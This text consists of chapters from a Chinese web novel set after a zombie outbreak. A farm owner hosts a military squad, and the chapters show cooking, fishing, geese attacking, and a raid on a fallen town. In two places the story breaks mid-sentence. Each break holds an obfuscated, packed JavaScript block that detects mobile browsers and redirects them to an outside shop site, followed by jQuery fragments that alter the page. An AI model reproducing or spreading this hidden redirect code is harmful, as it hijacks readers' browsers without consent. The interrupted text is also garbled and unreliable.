比如柴房的木柴是否充足?菜地里播种的小菜是否太过密集需要间苗?鸡鸭鹅牛等等每日都需要喂食,几只羊要带出去吃草,菜地的除草、施肥、松土……等等,地窖里的粮食储备每年要更新,再加上最近几年鸡鸭鹅数量越来越多饲料都有点不够吃,她又去山脚下找了几亩荒地准备扩种一些玉米小麦稻谷还顺便种了棉花。
繁忙的农活当中,时枌也会抽出时间带上大熊跟虎子出门狩猎加餐。
现在手边多了三个劳动力,还都是青壮年,脑门上吊根胡萝卜就能转悠一天,不用白不用。
至少在他们留宿的这一个月内,她得让他们把自家柴房给填满。
最好再帮忙把她存下来的玉米小麦磨成粉方便保存,——爷爷奶奶留给她的那头驴前几年寿终正寝,结束了操劳的一生。
她现在急需一头年轻的驴,哦不,三头也行。
眼看到了午饭时间,时枌去逮了只灰兔,剥皮取肉。
刚刚还围在小狗旁边逗弄的叶枝蔚也凑过来,对她剥皮的手艺赞不绝口。
时枌将兔肉递给她:“你帮忙拿去给秦丰处理吧,兔头如果不吃砍两半给大熊跟虎子加餐。我去收鸡蛋。”
刚刚帮忙做狗窝时大熊跟虎子就围在叶枝蔚旁边观察了好半天,看着她一点点搭建起来自己的新房子,因此对叶枝蔚也没了之前的不满,又看主人跟她也这么亲近,两只狗也会找叶枝蔚一起玩。
虎子跟大熊是时枌自己训练出来的,负责巡视院子周围,狗嗅觉灵敏,丧尸那浑身腐烂的气息又很明显,每次发现周围有丧尸,就会跑回来叫时枌去处理。
现在时枌跟叶枝蔚分头行动,馋嘴的虎子跟着兔肉往屋子里去,大熊陪着时枌进鸡窝摸鸡蛋。
其实厨房里存了不少鸡蛋,但时枌会留一部分用来孵小鸡。
捡鸡蛋的时候时枌忽然记起来,他们应该有手电筒吧?
捡了一篮子鸡蛋,时枌直接进屋,正好看见秦丰鬼鬼祟祟在柜子里翻找什么,听见动静立刻回头,一看见她又心虚地缩了缩脖子。
大熊:“汪!汪!汪!”
“我、我就数数你有多少个鸡蛋……”
然后看见时枌抱着的那一篮子一眼看上去至少有二十个后,秦丰沉默了。
“借用一下手电筒。”时枌也没说什么,直接问他借东西。
“噢。”有了刚刚的心虚,秦丰二话没说递给她一只小手电。
时枌把柜子里的鸡蛋都拿出来,然后一个个放在手电筒上照。
叶枝蔚刚刚去了趟洗手间,出来时觉得这气氛有点不对劲,但也没多问,就坐到桌边看时枌在做什么。
“照这个有什么用?”叶枝蔚好奇问道。
“看能不能孵出小鸡。”
“要我帮忙吗?”
“那谢谢了。”
于是时枌教她如何分辨出能孵出小鸡的鸡蛋。
“顶部有一圈灰蒙蒙的,这种能孵出来,其余的捡到这个篮子。”
挺简单的。
所有鸡蛋都分出来,把受精成功的鸡蛋用铅笔标上记号,一共二十个,然后重新拿回鸡窝给母鸡孵蛋。
其实她现在鸡养的有点多了。
时枌看着这群走地鸡。
数量上去之后,公鸡跟公鸡之间隔三差五干仗,互相啄得满地鸡毛,这就算了,主要是这群公鸡真的很吵,有围墙阻拦也不太隔音,时枌为了隔音还在鸡栏附近外边种了几棵果树还开地种了一排豆角,尽量包裹住鸡鸭鹅这片区域。
也就是时枌这两年勤快把附近丧尸清理干净了,不然他们这么闹腾很容易招来更多丧尸。
她一个人在院子里的时候隔三差五也会杀点鸡鸭鹅什么的打打牙祭,也是给虎子跟大熊加餐。
今天正好他们三个都在,而另外她不太喜欢的三个后天就要回来。
至少在后天他们三个回来之前,杀两只鸡吃吃,——免费厨子,不用白不用。
时枌放好鸡蛋回去的时候厨房已经传来菜香。
她这个厨房还是以前的灶台,每次都要生火,本来以为这群人不太会用这种老灶台,没想到秦丰跟叶枝蔚配合默契。
一个备菜烧菜,一个生火。
看见她,秦丰抽空对她说:“叶枝蔚顺便帮你把炉子也生了火,先蒸饭,我看你有几个暖水瓶呢,咱们现在多烧点热水,也能有水喝,多的还能留着晚上洗澡,你说是吧?”
时枌点头,“想得很周到。”
很好,家务也有人做了。
她的眼光果然不错,这俩人比她的驴还能干。
这个灶台有两个锅,秦大厨两锅同时开工,一个正在焖煮着土豆,一个做姜烧兔肉。
土豆是后加的,秦丰看见她存了那么多土豆就提议加道菜,时枌也同意了。
反正现在天气热土豆再不吃就不好保存,迟早要发芽。
她已经挑出一部分种下去了。
兔肉被秦丰处理好切成小块,用盐跟胡椒粉先腌上,别的调料她这边也没有,腌的时候秦丰还一直在嘀咕“怎么没有味精”“怎么没有淀粉”,条件就这样,但她这里至少还有菜籽油跟猪油,一样一半放到锅里。
讲真,一勺子下去挖了一半的猪油,时枌看见眼皮一跳,心想估计得杀只猪再存点猪油了。
油融化后锅内冒烟,秦丰下入兔肉,再加半勺花椒,——这个用量属于时枌做梦都想象不到的程度。
再加入切好的细姜丝大蒜,再挖了半勺时枌之前做的剁椒以及干辣椒,——她现在没有新鲜的小米辣,刚种下的辣椒苗还没长大。
这一通佐料丢进去,整个厨房都弥漫着麻辣鲜香,虎子跟大熊都在厨房门口团团转。
时枌看它们着急的样子,把剩下被砍成两半的兔头一狗一半放到它们各自的狗盆里,虎子跟大熊很快就被吸引过去啃兔头。
“要不咱们后天去阳县好好找找,说不定还能找到味精黄酒白糖……”秦丰十分惋惜地说。
这年头,凑齐一份姜烧兔肉的佐料是真难啊。
剩下的焖土豆炒青菜对秦丰来说就是小菜一碟,最后一人一个煎荷包蛋收尾。
秦大厨煎荷包蛋也是一绝,各个都是外脆里嫩的溏心蛋。
午饭快好了,时枌把还在忙碌的西芹叫了进来让她洗洗手吃饭。
西芹在外边干活脚下都是泥,门口犹豫半天不敢进,最后还是脱了鞋才赤脚进屋,时枌发现后给她拿了双布拖鞋递过去,西芹低头道谢。
再看向一桌菜,西芹足足愣了半分钟。
在外边挖生姜的时候她闻到菜香,但闻到是一回事,亲眼看见又是另一回事。
她从来没吃过这样的饭菜。
一人一碗米饭,在方桌边坐下,开吃。
时枌提前给虎子跟大熊准备了饭,各自一碗米饭一大勺焖土豆再加一个鸡蛋,还有上午喂小狗没喝完的羊奶也均分给它们。
秦丰看见都羡慕坏了,问她这还缺不缺狗。
惹得叶枝蔚无语看了他一眼。
一桌四人都没说话,秦丰闷头干饭,时不时给叶枝蔚夹两块兔肉,他很规矩,观察时枌夹菜的频率跟分量估摸着夹,西芹更是,非得他们催或者大家都不动筷子了才敢伸手,不然就是在那扒拉白米饭,不知道的还以为纯白米饭有多好吃。
时枌从小就生活在农场里,跟着爷爷奶奶长大,学着如何管理这里,自然是不缺吃喝的,爷爷做饭也是一把好手,再普通的食材在他手下都会大变样,简简单单豆角焖土豆都能勾得时枌半夜流口水。
可惜丧尸爆发,周围城市遭殃,他们一家人缩在这里与世隔绝,也没办法采购调料,也是因为资源有限,爷爷奶奶教会了她很多,比如如何做腊肉、酿米酒、熏火腿、腌泡菜等等。
可惜她也只是学会了,手艺不精,爷爷奶奶相继去世后再也做不出从前的味道。
最后一桌菜连菜汤都没剩,姜烧兔肉的姜丝都被他们拌饭吃光,菜汤也拌着米饭吃干净。
大家都吃饱了,双眼没有聚焦靠在椅子上放空,任由大脑一片空白享受着碳水狂飙的快乐。
直到时枌说起晚饭的计划。
“往北有一个池塘,我用铁丝网围起来了,里面丧尸也被我清理干净,现在水很干净,鱼也是,你们要是想吃鱼可以去那里钓,工具房有鱼竿也有抄网,”时枌说,“我拔了三个白萝卜,晚饭可以做萝卜鲫鱼汤。”
光听最后五个字秦川就想流口水,嘶溜一声:“那还等什么?我刷完碗就去。”
又看向不说话的西芹:“你也来出一份力,晚饭我们一起吃。”
西芹:“我、我生姜还有一小半没挖完……”
“那赶紧去挖,我刷碗,小叶去倒热水,你去挖生姜,然后一起去钓鱼!”秦丰大声道,“咱们都有光明的未来!”
“那片地方草深,注意一点,我之前清理过,但说不准又有丧尸偷偷藏在草丛里。”时枌说着想起来,“算了,我跟你们一起去,顺便割点草喂羊,再把大花拉出去逛逛。”
秦丰还疑惑大花是谁,不过他很快就知道了。
等他们所有人挖完了生姜,刷了碗,灌好热水后,时枌牵着一头棕色身体、脑袋棕白色的牛出来了。
牛身后还拖了一个车,边走边哐哐响。
时枌也只有这一头牛,之前是用它来耕地,大花已经十五岁是头老牛了,牙齿都是小小的,但精力旺盛,喜欢吃鲜草,偶尔时枌会带着它在铁丝网附近走一圈吃吃草。
但大花最喜欢的还是池塘边的水草。
今年开春过后还没去吃过呢。
秦丰跟叶枝蔚拿着工具挎着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622813|156201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
枪带着刀,西芹则是拎了个大水桶,丁玲哐当地跟着时枌走,秦丰还跟大花聊了两句。
老牛不太想搭理他的样子。
大熊在家守门,虎子跟着他们出来负责巡视周围是否有丧尸。
一直走到池塘边也没见虎子给信号,看来这附近被她清理的很干净。
时枌把大花牵到一棵大树旁边,放长绳子系好,然后从牛车上拿下镰刀,叮嘱虎子看好大花,就去割草了。
他们三人摩拳擦掌去钓鱼。
蚯蚓都是现挖的。
一派其乐融融景象。
***
赵弋、孙金、西池三人大约在中午抵达了阳县前不远处。
沿途已经见到了明显的尸潮,层层叠叠的丧尸推挤着往阳县方向前进。
丧尸大概能从衣着或者身体腐烂程度来判断转化了多久,这一批尸潮的丧尸中前方是还算新鲜的,后半截缺胳膊断腿的都有,中间走得慢的被挤着往前,有的身体都被挤烂、踩踏,在地上留下一串血腥的痕迹,有几只唯独脊椎部分没被破坏,身体大部分黏在地上被太阳暴晒成干,却仍然伸长脖子往前够,像个盲目执行固定程序的机器人。
这几只由西池去解决,同时拍摄尸潮行走过的痕迹做记录。
孙金在一边替西池放风。
而赵弋则是找了个高处小坡站上去用望远镜观察不远处阳县的情况。
阳县占地面积要比兰城要小得多,看起来规模也就一个村庄大小,周围用各种工具大部分是木头做成了围墙,少部分用的是铁片、铁丝网,铁丝网不太全,仔细看还有被裁剪的痕迹,这让赵弋想起他们刚到时枌农场看见的铁丝网。
原来是从这里来的。
阳县被挤入越来越多的丧尸,这里像是尸潮的中转站,丧尸成群。
但其中有一部分格外新鲜,根据皮肉完好程度还有身上被撕咬的伤来判断应该转化时间不超过一周,有几只身上的迷彩服被撕扯成条挂在身上,脖子上挂着枪。
所以原本阳县原本也是一个小的保护区。
沦陷的原因是什么?
看尸潮的状态不像是聚集了很长时间才到达,反而更像是近期凑起来,当然也有可能之前也有过一次尸潮,阳县的防护并不严密,突然遭遇尸潮几乎没有生还的可能。
赵弋看见地上还扔着武器。
保护区把阳县作为这次任务目标不是没有原因的。
阳县内有一处隐秘的军事基地,里面有大量的武器弹药,更重要的是,阳县有铁矿。
丧尸爆发前阳县人有很多在铁矿工作。
这曾经是一个还算富裕的小村庄。
保护区内资源有限,他们出任务一般是不乘坐交通工具,但回程会尽量开完好的车搜寻足够的汽油回去,因此回程会相对顺利。
赵弋正在寻找车的踪迹。
终于在一个看似仓库的建筑旁边找到了被军绿布盖上的大方块。
目测估计有一辆军用卡车,四辆小型皮卡。
旁边有几个圆柱形同样被绿布盖着,可能是汽油。
脑中确定好行进路线后,赵弋朝孙金跟西池打了个手势,三人在小山坡上商量。
“左侧铁丝网空出的一块区域丧尸聚集较少,侧面切入,先拿两辆能用的皮卡还有汽油方便撤退。”平时沉默寡言的男人也只有在做任务的时候话多一些,考虑到西池是新人,第一次出任务,赵弋看向他。“你估计阳县内有多少丧尸?”
西池在他开口的时候就神经紧绷随时待命,听见队长问自己还下意识深吸一口气才回答:“大概有上千只,但是零零散散的丧尸都朝着这个方向来,拖的时间越长涌入的丧尸就越多。”
数量跟赵弋估计的差不多。
阳县内部人口大概在百人左右,因为阳县东方是一座土墙,部分丧尸都出不去,被挤在那里堆积成骨头肉泥,少部分从缺口出去,——数量极少。
跟随尸潮来到这里的丧尸经过拥挤出了土墙之后重新回归漫无目游荡的状态。
“开车会不会?”赵弋又问他。
西池:“……不、不会。”
“等找到车我教你。”
接下来赵弋就开始布置任务。
三人从侧面铁丝网破口切入,先偷摸越过丧尸群到达对面仓库,拿到车再回到破口,——阳县大门被丧尸占据,只有这个铁丝网破口能过那辆军用卡车。
一般转化时间越长的丧尸嗅觉灵敏度越低,行动也越迟缓,但这也意味着它们很可能已经饥饿了很长时间,一旦面对新鲜血肉会突然爆发。
他们潜入尸群的办法很简单,找只丧尸先给自己来一套马杀鸡。
赵弋跟孙金行动速度很快,用刀处理了两只丧尸拖回来,再拿刀剖开肚子,将内脏往自己身上摸,西池则是在路边随便抓了点丧尸烂泥忍着恶心往自己身上抹,他不是第一次做这样的事情,从前需要完成每月积分任务的时候也在保护区周边干过,但还是会被恶臭熏的反胃。
而赵弋跟孙金就明显习惯了。
孙金甚至都没有骂骂咧咧,认真往自己身上抹。
臭熏熏的三人,每人背后挂着小半截丧尸骨架,先找几个丧尸在它周围晃悠两圈测试,然后才通过铁丝网进入阳县。
顺利到达一辆车,孙金上了一辆皮卡,正在检查车辆,赵弋跟西池上了一辆。
“油门,刹车,挂D档,方向盘。”赵弋快速低声说完这些,然后就拉开车门去找那辆军用卡车。
速度奇快。
留下副驾驶的西池跟方向盘大眼瞪小眼。
5. 第 5 章
大花最爱吃河边鲜嫩的水草,慢吞吞吃着一边往水里走,最后找了个舒服的位置泡在池塘边伸长脖子脑袋露出水面继续嚼嚼嚼。
刚挖到蚯蚓抛入鱼钩的秦丰看见水面震荡,发现那头老牛在捣乱一时间觉得好笑,换了个方向继续钓鱼。
叶枝蔚跟西芹在下地笼,时枌在一边指导了两句就继续割草。
“这附近草确实有点深,提前处理好也方便观察丧尸,我跟你一起吧。”叶枝蔚下完地笼说。
这是特地找借口来给她帮忙,时枌当然不会拒绝。
西芹也主动过来帮忙。
可时枌只带了两把镰刀,秦丰就借给西芹一把军刀先练习。
大家目标明确,先收拾出靠近垂钓区域的草,一直清理到铁丝网附近。
池塘附近的铁丝网比时枌农场外的铁丝网要粗糙的多,几乎一半都是简单由木头做成的栏杆链接,所以也不是百分百能防住丧尸。
时枌冬天时候懒得出门,更不可能天寒地冻为了凿冰钓鱼而修补围栏,经历一个冬天这样已经很不错了。
三个人割草比一个人干要快得多,秦丰一个人看三根鱼竿,忙得手忙脚乱差点鱼竿都被拖走只能暂时用脚踩着,靠着训练有素的身体素质跟反应才跟上鱼上钩的节奏。
他都没时间庆祝,只顾着拉竿抄网,恨不得变身哪吒长出六只手来。
看来这池塘里的鱼确实是泛滥了,都笨笨的,看见鱼饵就咬,几乎不带犹豫的。
一边割草中途休息的三人坐在捆好的草堆上。
西芹经过一天的相处对时枌已经不那么害怕了。
“不好意思哈,昨晚上吓到你了。”时枌朝人露出一个和煦的笑,有些腼腆地抿了抿唇。
她住在爷爷奶奶留给她的农场里鲜少跟人交流,也不太习惯这种类似“道歉”的场景,心里总是有那么点丝丝不自在,但又觉得很开心。
西芹点点头,“没、没关系。”
毕竟她也没真的伤害到她。
话题打开,叶枝蔚问西芹:“你哥哥怎么想的,把你带来出任务?”
西芹:“没办法……我、我刚满十六岁,这个月……要要积分……”
一问到这个西芹又紧张起来,生怕他们小队嫌弃她不愿意带她。
“你不用担心,军人亲属是有一定的帮扶政策的,我只是觉得你这样不如跟着保护区外围的人杀丧尸攒积分,那样要安全得多……”
“嗯……我也想,但是我得罪了外围的一个领队,他们、他们不让我随队狩猎。”
叶枝蔚才了然。
保护区内规则严苛,每个月的十只丧尸是定量,不然就要失去在保护区生活的资格。积分严禁交易,除了杀丧尸,也就只有去劳作赚取,而劳作往往是在煤矿、铁矿、工厂等等,需要的也是力气活,西芹刚满十六岁瘦小的小姑娘一个,人家也不会收,最好的方式当然是去保护区外围找熟人组队。
但外围组队鱼龙混杂,几个领队各成势力,保护区政府也无暇顾及。
时枌听着听着就听不懂了。
所以……她们到底在说什么?保护区?积分?
叶枝蔚看她一脸迷茫莫名可爱,笑了起来才解释道:“我们来自兰城保护区,那里是一个较大的人类生活区域,我们有自己的规则秩序,在保护区生活的人满十六岁后需要狩猎丧尸攒积分换取在保护区生活的资格,我们其他人都来自保护区的军队,是出来执行任务的。”
时枌指了指她们手腕上类似手表的东西,“就是这个?积分?”
“嗯,这是保护区统一发放的监测手表,每杀一个丧尸就会记录,另外还有监控健康的功能,毕竟我们是一个大型人类聚集区,如果有人在区域内意外死亡又转变成丧尸,会给我们带来很大的伤亡,有了这个佩戴者一旦死亡就会发出警报,周围人也会及时撤离,巡查的士兵也会及时处理。”
这是时枌此前不曾接触过的东西。
女孩一双杏眼瞪大,发出“哇哦”可可爱爱的声音,脸颊也跟着鼓鼓囊囊松鼠似的,充满了好奇。
叶枝蔚很大方把手腕递过去让她仔细看,一边跟她聊起来:“你什么时候到这里的啊?我看你院子里也有插座跟电器,之前是通电的吧?”
这算是交心第一步,叶枝蔚主动告诉她他们的来历,相应的也提出了一个不算冒昧的问题。
时枌点点头,一边观察她手上对手表一边说:“我从出生开始就跟着爷爷奶奶住在这里,以前确实是有电,不过那是我很小的时候了,丧尸爆发后几年也有,但是后来不知道什么原因就断电了,但是家里水是从山上来的山泉水,所以自来水没有断。”
得知她从小就生活在这里,西芹也看向她,“那你……很厉害。”
她今天帮忙挖了一小块地的生姜就累到不行,但时枌把整个农场都打理得井井有条,那么多的蔬菜长得油亮硕大,足够很多人吃了,更别说还有那些鸡鸭鹅猪牛羊什么的。
几人割了一牛车的草,秦丰也钓够了鱼,又起地笼,发现他们带来的水桶都装不下,只能暂时留在地笼里放到牛车上。
钓到的鲫鱼偏多,地笼里面小白条不少,秦丰还花大力气弄上来两条黑鱼一条特别大不知道什么品种的鱼,反正他们都不认识,能吃就行。
回程时秦丰在前探路,叶枝蔚断后观察情况,两人不需言语就分配好了任务,配合默契。
今日收获颇丰,饱饱吃了鲜草又泡了澡裹上一层泥的大花心情也不错,秦丰在它耳边叨叨的时候眼神也没来时那么不耐烦,还哞哞回应了两句,给秦丰高兴坏了,跟时枌说大花喜欢他。
时枌对此不发表评价。
回到农场后,碰上几只散养的大鹅。
时枌嫌大鹅圈养太吵成天鹅鹅鹅地叫,平时都是放它们到石墙外铁丝网内活动,这样一来防止它们啄院墙内的菜园,二也是清净,这几只大鹅还算有灵性,也能看家护院。
只是今天他们几人回归,大鹅们不熟悉秦丰三人,看见他们顿时发狂,低下长长的脖子发出警告的声音,一个劲儿地鹅鹅鹅,给跟在旁边的虎子都吓了一跳,下意识看向主人时枌,黑黑的大眼睛滴溜转动,那眼神大概是在说:它们是不是有什么大病?狂鹅病?
探险小队几人没有经验不了解大鹅,刚开始被这奇怪动静吓了一跳,缓过来就没当回事继续往前走,只有西芹胆子小往牛车后躲了躲。
大鹅们一看这几人竟然一点都不怕自己还持续逼近,立刻扑腾着翅膀朝最大目标秦丰奔了过来。
以迅雷不及掩耳之势以及完美匹配的高度一口叨向秦副队裤/裆。
“啊——!!!!!!”
秦丰爆发出杀猪般的惨叫。
另外几只鹅也飞扑过来叨叶枝蔚,被叶枝蔚灵敏躲过,一手抓住鹅脖子丢到一边。
时枌已经习惯它们这样,以为这次只是针对外人就没多注意,结果没想到这蠢鹅竟然连平时给它们喂食的主人都没认出来,先叨了时枌胳膊一下,被虎子看见,虎子立刻护主汪汪两声,大鹅还想叨第二下,时枌身边的大花突然低头,一把用牛角将扑过来的大鹅顶飞,足足顶飞四五米撞上了石墙,发出一道清脆的骨裂声后缓缓划落,翅膀扑腾两下,俨然没了动静。
全场寂静。
被叨了裆的秦丰眼含热泪咬牙切齿:“……草!”
及时躲过的叶枝蔚看了看他捂着的重点部位,“……不中用了?要不以后改名叫秦三吧?”
秦丰继续咬牙切齿:“老子平时都放左边!”
那只鹅叨的是右边,但是那酸爽也挺带劲。
“算了,估计是不中用了。”叶枝蔚一脸遗憾。
秦丰咬牙低声说了句“中不中用你不知道?”,然后强装镇定提着装满鱼的桶继续往前走。
这场狂鹅之战中场休息,西芹躲避及时没遭殃,算下来只有秦丰受伤惨重,其次是那只被摔断脖子的鹅,受伤最轻的是时枌。
时枌去看了看那只贴着墙滑下来的鹅,一边摇头一边说:“不中用了。”
这句话莫名刺痛了正在开门的秦副队脆弱的自尊心。
叶枝蔚抿嘴笑了起来。
只有西芹真的紧张这只鹅,担忧地问:“那……怎么办啊?”
农场主时枌耸耸肩,拎起那只鹅脖子,“怎么办?凉拌?还是红烧?”
正好她觉得晚饭光吃鱼似乎不太够,也没办法给虎子大熊加餐。
这下好了,虎子跟大熊有骨头啃咯。
西芹:“……”
行吧。
到这个时间四人肚子也饿了,大家分工明确,秦丰,哦不,秦三去厨房备菜,叶枝蔚帮忙生火烧水同时准备晚上洗澡的热水,大家今天忙碌一整天出了不少汗正好好好洗一洗舒舒服服睡觉。
至于西芹跟时枌要去收拾一楼的房间。
一楼是有两个小房间的,时枌对他们三个都非常满意,所以决定把这两间房借给他们住,反正空着也是空着,但是两间房的卫生需要他们维持。
一间房内有木床,但是太久没住人木头都腐朽了不知道能不能睡,西芹清理后发现不少床板都断了,是真用不了。
但是房间地板是瓷砖的,打扫之后还很干净。
于是西芹说:“我们装备里面都有睡袋,暂时用睡袋就可以了,床的事情我们自己想办法吧。”
本来就是住在别人家,有单独的房间比跟其他人睡一楼客厅要方便的多,已经很不错了。
两间房,足够他们分男女宿舍,西芹跟叶枝蔚住一间,空间完全足够。
简单收拾一下,确定了今天的菜单。
白萝卜鲫鱼汤,加了宽面条的铁锅炖大鹅,番茄蛋汤,炒青菜以及烤鱼。
这一顿饭,比他们末世前吃的都要丰盛。
秦丰厨艺一如既往的优秀,一大盆白萝卜鲫鱼汤,奶白的汤汁一口下去只有鲜,还有清甜的白萝卜作为配菜也能解腻,一整只大鹅剁开,闷了足足一小时,还放了不少时枌之前储存的菌菇,可惜没有粉条,秦丰临时做了宽面条出锅前放进去,宽面条吸满了汤汁,时枌没忍住提前吃了一根面条,整个人都圆满了。
秦大厨手艺是真不错啊。
她从来没吃过这么好吃的面条。
因为大鹅难炖,他们到了晚上才吃上饭,时枌还搬来烤炉,上边烤着几条小鲫鱼还有剩余的土豆什么的。
“没想到你这里还有孜然粉啊,我上一次吃还是我五岁的时候……”秦丰感慨道。
“以前爷爷奶奶闲着没事种了很多佐料,院子里本来就有一棵很大的花椒树,孜然芹也有,我每年保留种子,其余的就都收起来,偶尔炒个土豆片也挺好吃,我今年也种了,等六月份就能收获,这东西还是挺容易种的。”
大家默认鹅腿是给时枌的,毕竟鹅是她养的,所以都没动筷子,至于另一只鹅腿秦丰砍成了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622814|156201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小块大家分一分就行,此时时枌手握大鹅腿大口吃肉,一边跟他们闲聊。
“那意思是有多的?”秦丰眼睛一亮。
时枌点头,“有,你要是需要自己去装。”
“我能不能用你的佐料配烧烤料再带走?”
“顺便给我配一份呗。”
“我给你配一份,配方也留给你,信我,这玩意蘸鞋垫都好吃。”
他们平时出任务也会遇到一些野兽,在野外加餐的时候最多也就撒个盐完事儿,毕竟保护区为了节省资源鼓励大家靠营养液生存,也不会去种植这些边角料。
屋子里弥漫着孜然辣椒香,烤炉有秦丰照看根本不需要她们操心,这顿饭足足吃了三个多小时,烤炉上还烤着第三份烤鱼。
大熊跟虎子有秦丰处理大鹅剩下的边角料吃,还有鸡蛋跟剩饭面条,剩下的骨头也是他们的。
经过一个冬天,大熊跟虎子也馋肉了。
时枌想起这事,问秦丰:“你们是从山上下来的,山上最近应该有野兽出没吧?”
她想给大熊虎子加餐,毕竟这山上野猪还是挺多的,运气好的话还能抓点别的打打牙祭,再不济,也能挖春笋跟菌子。
“我们沿着山脚走过来的,不过应该是有。深山老林的丧尸少,里面估计丧尸更少,你带着狗没多大问题。”秦丰说。
更何况时枌还有枪。
“没事,我们轮流出任务,等下次我跟秦三有空一起上山。”叶枝蔚说。
秦丰:“……我叫秦丰!”
西芹看他们商量,想着自己也不能帮忙狩猎,低着头思考半天,才说:“那我留在农场帮你打理,至少……我能做做卫生。”
其他人笑着说好。
大家都吃撑了,看窗外夜色已深,叶枝蔚想洗澡前先去挑一挑木头做个新床,毕竟他们要在这里住一个月,有张床睡得也能更舒服。
屋子开着窗散散气,他们待的时间久了不觉得,有风吹来时忽觉一股凉爽,才发现屋子里憋闷。
虽然都想好了一会儿要去干什么。
秦丰要收拾桌子刷碗,西芹要帮忙做卫生,时枌要早早洗澡睡觉。
但大家都处于一种微妙的餍足状态,真的不想动弹。
而正在这微妙之时,传来汽车轰鸣的声音。
那明显不是一辆车发出的动静,而且还有辆大车。
吃饱喝足趴在地上的虎子跟大熊第一时间有了反应站起来看向主人时枌。
秦丰:“别担心,应该是队老赵他们提前回来了。”
他们小队出任务一般都是开车回来,这次听声音老赵收获不小啊。
果然,那动静很快就停下,传来敲门声。
秦丰去开门。
铁丝网的铁门都没锁,但凡是个正常活人都能拆开固定的铁丝进来,因此秦丰出去的时候是去帮忙开第二道围墙上的门。
自然是时枌给的钥匙。
铁门打开,三人身形显露。
三人包括队长赵弋都是一身血腥跟莫名的人体组织,只是现在已经干巴了彻底黏在衣服上,——估计放进黄河都洗不下来吧。
同样的,他们也看见了一屋子的……残羹剩饭。
以及空气中无法忽视的烧烤香。
而他们身上臭气熏天。
对比惨烈。
就连秦丰也不好意思咧嘴一笑,抓抓脑袋事后找补:“还有鱼还有炭火!我马上给你们重新烤!”
赵弋对此没有意见,孙金嘀咕了句“吃独食”,西池看见妹妹好好的还吃饱了饭自然没说什么。
就在他们三人上楼梯准备踏入屋子时,时枌抬手。
“等等。”
“你们要不洗个澡再进来?”
她不是歧视或是怎么,只是他们这一身吓得连虎子跟大熊都进入攻击状态,放进来还得重新做卫生。
赵弋停下脚步。
孙金眯起眼。
西池有些尴尬地看了看自己。
一时间气氛有些紧张。
时枌却面色如常,指了指后院,“有水管,西芹,你带他们过去吧。”
秦丰赶紧接话:“对对对,正好我给你们烤鱼,吃不吃面条?还是米饭?”
剩下的归他们自己处理。
叶枝蔚刚刚去看了看他们带回来的东西,看见那辆大卡车停在后院而不是大门,回来时就问了一句。
此时赵弋跟出任务的其余两人正在后院用水管冲洗。
他们平时出任务都是一身沉重的装备,枪械先摘下来单独放置,外边连体的作战服暂时穿在身上用水管冲洗。
还好现在已经是春天,不至于太冷。
“时枌说你们简单冲洗就能进去洗澡,弄脏了地板跟洗手间的话要自己打扫,哦对了,还有这个,也是给你们用的。”叶枝蔚递过来一块黑色肥皂。
估计是她自己做的。
赵弋接过。
他们作战服冲完就要脱衣服,叶枝蔚知道自己不适合在这,送完东西就准备离开。
赵弋却叫住她,把水管先给了西池清洗,“那个东西是给她的,让她下来验收。”
他们所处的是后院铁丝网跟院墙中间区域,也是白天西芹挖生姜的地方,不远处就能看见那辆军用卡车,以及……卡车上堆积成山的丧尸尸体。
这?用来置换物资?
能行吗?
这年头谁收丧尸啊。
6. 第 6 章
时枌刚上楼就被叶枝蔚叫下来验收物资。
她对刚刚回来的三人印象不太好,其实也并不想大晚上去跟他们商量物资的事,但叶枝蔚来叫她,她也就下楼了。
大熊跟在她身边。
后院有个小门,出屋子没两步路就到了生姜地,时枌下来的时候西池已经进去了,孙金还在原地冲洗身上的血腥,看见她过来知道她要跟队长说话,快速冲到没血迹后将水管递给赵弋,拎着自己的装备走了。
高大的男人站在夜色中,淋湿的作战服还套在身上,几乎只有一层青茬的短发湿了跟没湿好像也没什么区别,他正在用水管冲脸,大手随意抹了两把,才抬头看向她,掀起一双压迫感十足的眸子。
有围墙阻隔,这块地方也就有月光照明,一边墙上放了根蜡烛立在小碗里,勉勉强强算一份光亮。
视线相接。
时枌看他这架势还以为他故意挑衅,眉毛一挑正准备说什么,就看见他身后不远处隔着铁丝网的大卡车,以及卡车后堆满的丧尸。
那点不愉快瞬间烟消云散。
赵弋就这么看着她视线越过自己,黑葡萄似的眼睛里带着明显的惊喜。
“这一车我都要了,你们能在这住一个月。”她几乎是立刻下了决断。
“嗯。”
男人平淡地应了一声。
作战服是特殊材料制成,防水防刺,水管冲一冲就干净了,只是内里闷出一身汗,还有脖颈间的血污黏腻腥臭,赵弋也没多想,扬起下巴伸手拉拉链。
连体的作战服就这么被他拉到腰间,脱了一半才想起来旁边还有人,一半作战服只能挂在腰间,侧首看向旁边趴在铁丝网上数丧尸的女孩。
她好像一点都没注意到这里还有个男的,而且正在洗澡。
“看完了吗?”
时枌正想着这一车丧尸足够她继续开垦铁丝网内的地,还能给其他果树施肥,被突然的男声拉回注意力,一不小心就看见了百分之五十的赵队长。
